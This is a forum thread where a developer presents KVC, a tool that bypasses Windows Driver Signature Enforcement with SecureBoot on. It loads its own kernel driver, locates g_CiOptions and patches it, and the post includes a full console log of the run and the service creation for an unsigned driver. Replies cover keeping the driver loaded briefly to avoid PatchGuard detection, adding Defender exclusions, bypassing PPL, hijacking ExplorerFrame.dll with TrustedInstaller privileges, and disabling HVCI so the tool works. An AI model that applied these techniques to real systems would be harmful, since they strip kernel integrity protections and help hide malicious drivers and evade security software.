Successfully Bypassed DSE on Windows 11 with SecureBoot Enabled Today, I successfully bypassed Driver Signature Enforcement (DSE) on a fully updated Windows 11 system with SecureBoot enabled. The bypass was achieved using a custom implementation that dynamically locates and modifies the g_CiOptions variable in kernel memory. Key Details: []OS: Windows 11 (latest build, SecureBoot active) []Method: Kernel memory patching via g_CiOptions Result: Unsigned drivers can now be loaded without triggering DSE checks Technical Breakdown: Kernel Module Enumeration: []Used NtQuerySystemInformation to retrieve the base addresses of ci.dll and ntoskrnl.exe. []Located ci.dll at 0xFFFFF8004B9D0000. Locating g_CiOptions: []Scanned the .text section of ntoskrnl.exe for patterns referencing g_CiOptions. []Found g_CiOptions at 0xFFFFF800BA509D7C with an original value of 0x00000017. Patching DSE: []Cleared bit 6 of g_CiOptions (DSE flag) to disable signature enforcement. []Verified the patch by reading back the value to ensure it persisted. Result: DSE was successfully disabled, allowing unsigned drivers (e.g., kvckbd.sys) to load without issues. Code Highlights: []The bypass leverages a kernel driver to read/write kernel memory. []The g_CiOptions address is dynamically resolved to avoid hardcoded offsets. Cleanup procedures ensure the system remains stable after the operation. Verification: After the bypass, I created a kernel driver service (kvckbd.sys) using sc create, which loaded successfully without signature validation errors. While this technical achievement showcases the framework's deep system integration, I'm carefully considering whether to include this functionality in the public version of KVC due to its potential sensitivity. Code: C:\temp>kvc dse-off [DEBUG] Found PsInitialSystemProcess offset: 0xfc5aa8 [DEBUG] Found UniqueProcessId offset: 0x1d0 [DEBUG] Found ProcessProtection offset: 0x5fa [*] Disabling Driver Signature Enforcement... [*] Initializing kernel driver component... [+] TrustedInstaller token cached successfully [+] File written successfully: C:\WINDOWS\System32\DriverStore\FileRepository\avc.inf_amd64_12ca23d60da30d59\kvc.sys (14024 bytes) [+] Kernel driver component initialized successfully [DEBUG] Driver handle opened successfully [*] [DSE] Attempting to disable Driver Signature Enforcement... [*] [DSE] Found 171 kernel modules [DEBUG] [DSE] Module 0: ntoskrnl.exe at 0xFFFFF800B9600000 [DEBUG] [DSE] Module 1: hal.dll at 0xFFFFF800BAE00000 [DEBUG] [DSE] Module 2: kd.dll at 0xFFFFF8004AEF0000 [DEBUG] [DSE] Module 3: mcupdate_GenuineIntel.dll at 0xFFFFF80049970000 [DEBUG] [DSE] Module 4: symcryptk.dll at 0xFFFFF8004AF00000 [DEBUG] [DSE] Module 5: cng.sys at 0xFFFFF8004AFD0000 [DEBUG] [DSE] Module 6: CLFS.SYS at 0xFFFFF8004AF40000 [DEBUG] [DSE] Module 7: tm.sys at 0xFFFFF8004AF10000 [DEBUG] [DSE] Module 8: winaccel.sys at 0xFFFFF8004B0B0000 [DEBUG] [DSE] Module 9: PSHED.dll at 0xFFFFF8004B0D0000 [*] [DSE] Found ci.dll at 0xFFFFF8004B9D0000 [*] [DSE] ci.dll base: 0xFFFFF8004B9D0000 [*] [DSE] Searching for g_CiOptions... [*] [DSE] Found 171 kernel modules [DEBUG] [DSE] Module 0: ntoskrnl.exe at 0xFFFFF800B9600000 [DEBUG] [DSE] Module 1: hal.dll at 0xFFFFF800BAE00000 [DEBUG] [DSE] Module 2: kd.dll at 0xFFFFF8004AEF0000 [DEBUG] [DSE] Module 3: mcupdate_GenuineIntel.dll at 0xFFFFF80049970000 [DEBUG] [DSE] Module 4: symcryptk.dll at 0xFFFFF8004AF00000 [DEBUG] [DSE] Module 5: cng.sys at 0xFFFFF8004AFD0000 [DEBUG] [DSE] Module 6: CLFS.SYS at 0xFFFFF8004AF40000 [DEBUG] [DSE] Module 7: tm.sys at 0xFFFFF8004AF10000 [DEBUG] [DSE] Module 8: winaccel.sys at 0xFFFFF8004B0B0000 [DEBUG] [DSE] Module 9: PSHED.dll at 0xFFFFF8004B0D0000 [*] [DSE] Found ntoskrnl.exe at 0xFFFFF800B9600000 [*] [DSE] ntoskrnl.exe base: 0xFFFFF800B9600000 [*] [DSE] Scanning ntoskrnl .text: 0xFFFFF800B9800000 (size: 0x4E889B) [*] [DSE] Found g_CiOptions at: 0xFFFFF800BA509D7C (value: 0x00000017) [*] [DSE] g_CiOptions address: 0xFFFFF800BA509D7C [*] [DSE] Original g_CiOptions: 0x00000017 [+] [DSE] DSE disabled successfully! (0x00000017 -> 0x00000017) [*] Starting atomic cleanup procedure... [DEBUG] Cleaning up driver connection... [DEBUG] kvc::Cleanup() called [DEBUG] Closing device handle... [DEBUG] kvc cleanup completed [DEBUG] Stopping driver service... [DEBUG] StopDriverService called [DEBUG] Service stop completed [DEBUG] Verifying service stopped... [DEBUG] Service verified stopped, uninstalling... [DEBUG] StopDriverService called [DEBUG] Service already stopped [+] File deleted: C:\WINDOWS\System32\DriverStore\FileRepository\avc.inf_amd64_12ca23d60da30d59\kvc.sys [DEBUG] kvc::Cleanup() called [DEBUG] kvc cleanup completed [+] Atomic cleanup completed successfully [+] DSE disabled successfully! [*] You can now load unsigned drivers [*] g_CiOptions address: 0xFFFFF800BA509D7C [DEBUG] kvc::Cleanup() called [DEBUG] kvc cleanup completed C:\temp>sc create kvckbd type= kernel start= auto binPath= C:\Windows\System32\drivers\kvckbd.sys DisplayName= "kvckbd" [SC] CreateService SUCCESS C:\temp>
Very cool! Couldn't get it to work on a fully hardened, high-sec Windows 10 Enterprise LTSC (no antivirus). But it works beautifully on stock/lightly hardened systems! Suggestion: check whether the system use Win defender at all before adding any defender exclusion rules. Feature request: view registry key handles owned by a protected process
Thanks for testing on that hardened LTSC environment! You're right about the Defender exclusion logic - I'm already working on a pre-check system that detects if Windows Defender is actually running before attempting any exclusion modifications. The current implementation is a bit too aggressive for systems without Defender. Regarding the registry key handles feature - excellent suggestion! I'm currently implementing kernel handle enumeration capabilities. The plan is to extend the process protection commands to include: Code: kvc handles <PID> - List all kernel handles owned by a process kvc handles protected - Show handles from all protected processes Integration with the existing protection system to bypass PPL restrictions On the security side: I'm being very cautious with the driver lifecycle - loading it only for milliseconds during atomic operations to avoid PatchGuard detection. Found and fixed a Unicode display issue yesterday that was causing console corruption. Still testing to prevent any BSOD scenarios when working with kernel primitives. New feature now working: Watermark management via kvc wm remove/restore - it hijacks ExplorerFrame.dll through registry redirection with TrustedInstaller privileges. The codebase has grown significantly with low-level functionality, so I'll need to completely rewrite the first post to properly document all the kernel-level capabilities that are now available. Keep the feedback coming - the hardened environment testing is particularly valuable!
I just recompiled the program so that it doesn't require the CRT and runs with older instructions. Unless you have an ARM64 processor—where it won't work fully due to the lack of a native driver, since I don't have the hardware to write one—you can give it a try. Everything should work on x64. You can also disable any other antivirus software if you have it. The value -1073741795 is a decimal error code in Windows, which converts to 0xC000001D in hexadecimal (hex) format. Code 0xC000001D is the system error STATUS_ILLEGAL_INSTRUCTION (Illegal Instruction).
I do not have any other antivirus. I installed c++ runtime libraries. It does now complain about them but does not changed eror. Both clean Win10/Win11 refuse to run. My operating systems runs from vhd disk. Can it be problem? Can it be solved?
Exit code -1073741795 = 0xC000001D = STATUS_ILLEGAL_INSTRUCTION. Your VM CPU doesn't support an instruction used by kvc.exe or one of its embedded components. In Hyper-V settings → Processor → enable "Migrate to a physical computer with a different processor version" (CPU compatibility mode). Also check if VBS/HVCI is active — if so, the kernel driver cannot load regardless of DSE bypass. Run msinfo32 and look for Virtualization-based security status. The fix is confirmed: Memory Integrity (HVCI) must be disabled for KVC to work. This is expected behavior — HVCI runs below the kernel and prevents modification of code integrity enforcement memory (g_CiOptions / SeCiCallbacks), which KVC patches to load its unsigned driver. No DSE bypass technique (including --safe PDB method) can overcome HVCI because it's enforced by the hypervisor, not the OS. To disable: Settings → Privacy & Security → Windows Security → Device Security → Core Isolation → Memory Integrity → OFF → reboot.
The latest Windows 25H2, with all updates installed, runs beautifully. What processor do you have? And what OS version/build? This is a screenshot from a Dell XPS-7590 laptop running an i7-9750HQ. All security features, SecureBoot, and virtualization are enabled...
All right, that clears things up! A chip based on the Ivy Bridge architecture, 3rd generation, released in mid-2012. This processor supports AVX instructions, but does NOT support AVX2 instructions (those weren't introduced until the 4th generation—Haswell) Wait 15 minutes, I’ll set up the compiler and compile a working version for you—at least in theory You can confirm if it works...
Code: "c:\Program Files\Microsoft Visual Studio\18\Enterprise\VC\Tools\MSVC\14.50.35717\bin\Hostx64\x64\dumpbin.exe" /disasm kvc.exe | findstr ymm I’ve disassembled the file’s instructions for you. This lets you see exactly what the compiler output: YMM registers (256-bit): These are used exclusively by AVX and AVX2 instructions. XMM registers (128-bit): Used by older SSE instructions. Your processor (Ivy Bridge) supports AVX but does not support AVX2. If dumpbin shows instructions operating on YMM registers that belong to the AVX2 set, your program will always throw an “Illegal Instruction” error. I still have 4 places left in the code where I need to figure out how and where to insert #pragma to force the compiler to disable AVX2 in those specific modules and ensure compatibility for you. Please be patient; it might take a while...
C:\Users\murat\Downloads\dumpbin-14.50.35722-x64>dumpbin.exe /disasm kvc.exe | findstr ymm C:\Users\murat\Downloads\dumpbin-14.50.35722-x64>dumpbin.exe /disasm kvc.exe | findstr xmm C:\Users\murat\Downloads\dumpbin-14.50.35722-x64>dumpbin.exe /disasm kvc.exe | findstr data 4000 .data 6000 .idata i need to go to work tomorrow. i will test tomorrow ok. hope you can fix it for me.